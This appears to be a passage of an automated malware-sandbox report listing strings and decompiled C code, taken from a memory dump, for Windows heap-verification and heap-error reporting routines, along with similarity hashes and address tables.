*** Inpage error in %ws:%s, xrefs: 0136B418
*** A stack buffer overrun occurred in %ws:%s, xrefs: 0136B2F3
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0136B323
The instruction at %p tried to %s , xrefs: 0136B4B6
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0136B2DC
read from, xrefs: 0136B4AD, 0136B4B2
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0136B3D6
*** Resource timeout (%p) in %ws:%s, xrefs: 0136B352
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0136B476
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0136B484
*** then kb to get the faulting stack, xrefs: 0136B51C
This failed because of error %Ix., xrefs: 0136B446
*** enter .exr %p for the exception record, xrefs: 0136B4F1
Go determine why that thread has not released the critical section., xrefs: 0136B3C5

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 4e87ff38e423be97fa5b8e00c2e161f81237dde784f0847150c32fa18e8b8c89
Instruction ID: c16ac011bdec76a70800b1096855273dd3462408b8725bd4793f4003915f2d8b
Opcode Fuzzy Hash: 4e87ff38e423be97fa5b8e00c2e161f81237dde784f0847150c32fa18e8b8c89
Instruction Fuzzy Hash: E8814731B50214FFDB22AA4ACC45D7B7F6EEF56B59F808058F604AB51AD2619402CFB2

Uniqueness

Uniqueness Score: -1.00%

Function 01371C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E01371C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x12948a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E012BB150();
				} else {
					E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x13a589c);
				E012BB150("Heap error detected at %p (heap handle %p)\n",  *0x13a58a0);
				_t27 =  *0x13a5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M01371E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E012BB150();
				} else {
					E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E012BB150("Error code: %d - %s\n",  *0x13a5898);
				_t113 =  *0x13a58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E012BB150();
					} else {
						E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E012BB150("Parameter1: %p\n",  *0x13a58a4);
				}
				_t115 =  *0x13a58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E012BB150();
					} else {
						E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E012BB150("Parameter2: %p\n",  *0x13a58a8);
				}
				_t117 =  *0x13a58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E012BB150();
					} else {
						E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E012BB150("Parameter3: %p\n",  *0x13a58ac);
				}
				_t119 =  *0x13a58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E012BB150();
					} else {
						E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x13a58b4);
					E012BB150("Last known valid blocks: before - %p, after - %p\n",  *0x13a58b0);
				} else {
					_t120 =  *0x13a58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E012BB150();
				} else {
					E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E012BB150("Stack trace available at %p\n", 0x13a58c0);
			}

0x01371c10
0x01371c16
0x01371c1e
0x01371c3d
0x01371c3e
0x01371c20
0x01371c35
0x01371c3a
0x01371c44
0x01371c55
0x01371c5a
0x01371c65
0x01371c67
0x00000000
0x01371c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01371c67
0x01371cdc
0x01371ce5
0x01371d04
0x01371d05
0x01371ce7
0x01371cfc
0x01371d01
0x01371d0b
0x01371d17
0x01371d1f
0x01371d25
0x01371d30
0x01371d4f
0x01371d50
0x01371d32
0x01371d47
0x01371d4c
0x01371d61
0x01371d67
0x01371d68
0x01371d6e
0x01371d79
0x01371d98
0x01371d99
0x01371d7b
0x01371d90
0x01371d95
0x01371daa
0x01371db0
0x01371db1
0x01371db7
0x01371dc2
0x01371de1
0x01371de2
0x01371dc4
0x01371dd9
0x01371dde
0x01371df3
0x01371df9
0x01371dfa
0x01371e00
0x01371e0a
0x01371e13
0x01371e32
0x01371e33
0x01371e15
0x01371e2a
0x01371e2f
0x01371e39
0x01371e4a
0x01371e02
0x01371e02
0x01371e08
0x00000000
0x00000000
0x01371e08
0x01371e5b
0x01371e7a
0x01371e7b
0x01371e5d
0x01371e72
0x01371e77
0x01371e95

Strings

heap_failure_internal, xrefs: 01371C6E
heap_failure_generic, xrefs: 01371C7C
Parameter2: %p, xrefs: 01371DA5
Last known valid blocks: before - %p, after - %p, xrefs: 01371E45
heap_failure_listentry_corruption, xrefs: 01371CD0
Stack trace available at %p, xrefs: 01371E86
Parameter3: %p, xrefs: 01371DEE
heap_failure_block_not_busy, xrefs: 01371CA6
heap_failure_usage_after_free, xrefs: 01371CBB
heap_failure_lfh_bitmap_mismatch, xrefs: 01371CD7
Error code: %d - %s, xrefs: 01371D12
Heap error detected at %p (heap handle %p), xrefs: 01371C50
heap_failure_unknown, xrefs: 01371C75
heap_failure_buffer_overrun, xrefs: 01371C98
HEAP[%wZ]: , xrefs: 01371C30, 01371CF7, 01371D42, 01371D8B, 01371DD4, 01371E25, 01371E6D
heap_failure_cross_heap_operation, xrefs: 01371CC2
heap_failure_entry_corruption, xrefs: 01371C83
HEAP: , xrefs: 01371C16, 01371C3D, 01371D04, 01371D4F, 01371D98, 01371DE1, 01371E32, 01371E7A
Parameter1: %p, xrefs: 01371D5C
heap_failure_invalid_argument, xrefs: 01371CAD
heap_failure_multiple_entries_corruption, xrefs: 01371C8A
heap_failure_buffer_underrun, xrefs: 01371C9F
heap_failure_freelists_corruption, xrefs: 01371CC9
heap_failure_virtual_block_corruption, xrefs: 01371C91
heap_failure_invalid_allocation_type, xrefs: 01371CB4

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: a99b7a69469a5b3dc63fe80b20bfd82fc5060ebd7f21e417eb123b30fc327b81
Instruction ID: 69d9468bab412d4ec75fa04b4012d3462835c96aeda2e59ed6354a05c8d51556
Opcode Fuzzy Hash: a99b7a69469a5b3dc63fe80b20bfd82fc5060ebd7f21e417eb123b30fc327b81
Instruction Fuzzy Hash: E861913363114ADFDB31AB89E485E3477ECEB04B64B4A806EF5096B702D6289C418F5A

Uniqueness

Uniqueness Score: -1.00%

Function 01374AEF, Relevance: 11.8, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E01374AEF(void* __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				void* _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				void* _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E012BB150();
						} else {
							E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E012BB150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E012BB150();
					} else {
						E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E0136FA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E012BB150();
						} else {
							E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E012BB150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E012BB150();
								} else {
									E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E012BB150();
									} else {
										E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E012BB150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E0136FA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E012BB150();
										} else {
											E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E0130D540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E012BB150();
								} else {
									E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E0137A80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E012DE12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E0137A80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E012DE4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E012DA229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E012DA309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E012DBC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E013623E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = E012B1F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x01374af7
0x01374afb
0x01374afd
0x01374b01
0x01374b03
0x01374b08
0x01374b0a
0x01374b0f
0x01374eb5
0x01374eb5
0x01374ebb
0x013750d5
0x013750d8
0x01374ff6
0x00000000
0x01374ff6
0x013750de
0x013750e4
0x013750e8
0x01375107
0x0137510c
0x013750ea
0x013750ff
0x01375104
0x01375112
0x01375115
0x01375118
0x01375119
0x013750cb
0x013750cb
0x013750af
0x00000000
0x013750af
0x01374ecb
0x013750b6
0x013750bb
0x01374ed1
0x01374ee6
0x01374eeb
0x013750c1
0x013750c2
0x013750c5
0x013750c6
0x00000000
0x00000000
0x00000000
0x00000000
0x01374b15
0x01374b15
0x01374b1c
0x01374b1e
0x01374b23
0x01374b27
0x01374b33
0x01374b38
0x01374b3a
0x01374b3c
0x01374b41
0x01374b41
0x01374b3a
0x01374b52
0x01375045
0x0137504b
0x0137504f
0x0137506e
0x01375073
0x01375051
0x01375066
0x0137506b
0x01375083
0x01375088
0x01375088
0x0137508a
0x01375091
0x01375099
0x01375099
0x0137509d
0x013750a7
0x013750ad
0x013750ad
0x013750ad
0x00000000
0x0137509d
0x01374b58
0x01374b5b
0x01374b5e
0x01374b63
0x01374b66
0x01374b69
0x01374b6f
0x01374be4
0x01374bf0
0x01374bf2
0x01374bf5
0x01374dc3
0x01374dc6
0x01374dc9
0x01374dce
0x01374dce
0x01374dd0
0x01374dd0
0x01374dd5
0x01374def
0x01374dd7
0x01374de7
0x01374de7
0x01374df3
0x01375001
0x01375007
0x0137500b
0x0137502a
0x0137502f
0x0137500d
0x01375022
0x01375027
0x01375039
0x0137503a
0x0137503b
0x00000000
0x01374df9
0x01374dfd
0x01374e90
0x01374e94
0x01374e9e
0x01374ea4
0x01374ea4
0x01374ea4
0x01374ea6
0x01374ea6
0x00000000
0x01374ea6
0x01374e03
0x01374e08
0x01374f88
0x01374f92
0x01374f99
0x01374f9c
0x01374fe0
0x01374fe4
0x01374fee
0x01374ff4
0x01374ff4
0x01374ff4
0x00000000
0x01374fe4
0x01374f9e
0x01374fa4
0x01374fa8
0x01374fc7
0x01374fcc
0x01374faa
0x01374fbf
0x01374fc4
0x01374fd2
0x01374fd5
0x01374fd6
0x01374f34
0x01374f34
0x00000000
0x01374f39
0x01374e0e
0x01374e14
0x01374e1b
0x01374e25
0x01374e2b
0x01374e2b
0x01374e33
0x01374e38
0x01374e8a
0x01374e8a
0x00000000
0x01374e3a
0x01374e3e
0x01374e43
0x01374e47
0x01374e53
0x01374e58
0x01374e5a
0x01374e5c
0x01374e61
0x01374e61
0x01374e5a
0x01374e6e
0x01374f41
0x01374f47
0x01374f4b
0x01374f6a
0x01374f6f
0x01374f4d
0x01374f62
0x01374f67
0x01374f7f
0x01374f80
0x01374f81
0x00000000
0x01374e74
0x01374e78
0x01374e82
0x01374e88
0x01374e88
0x00000000
0x01374e78
0x01374e6e
0x01374e38
0x01374df3
0x01374bfe
0x01374c01
0x01374c04
0x01374c07
0x01374c09
0x01374c0c
0x01374c0e
0x01374c0e
0x01374c11
0x01374c11
0x01374c0c
0x01374c14
0x01374c17
0x01374dae
0x01374db2
0x01374db7
0x01374dba
0x01374dbd
0x01374ef1
0x01374ef7
0x01374efb
0x01374f1a
0x01374f1f
0x01374efd
0x01374f12
0x01374f17
0x01374f2b
0x01374f2b
0x01374f2d
0x01374f2e
0x01374f2f
0x00000000
0x01374f2f
0x00000000
0x01374c1d
0x01374c1d
0x01374c20
0x01374c23
0x01374c26
0x01374c29
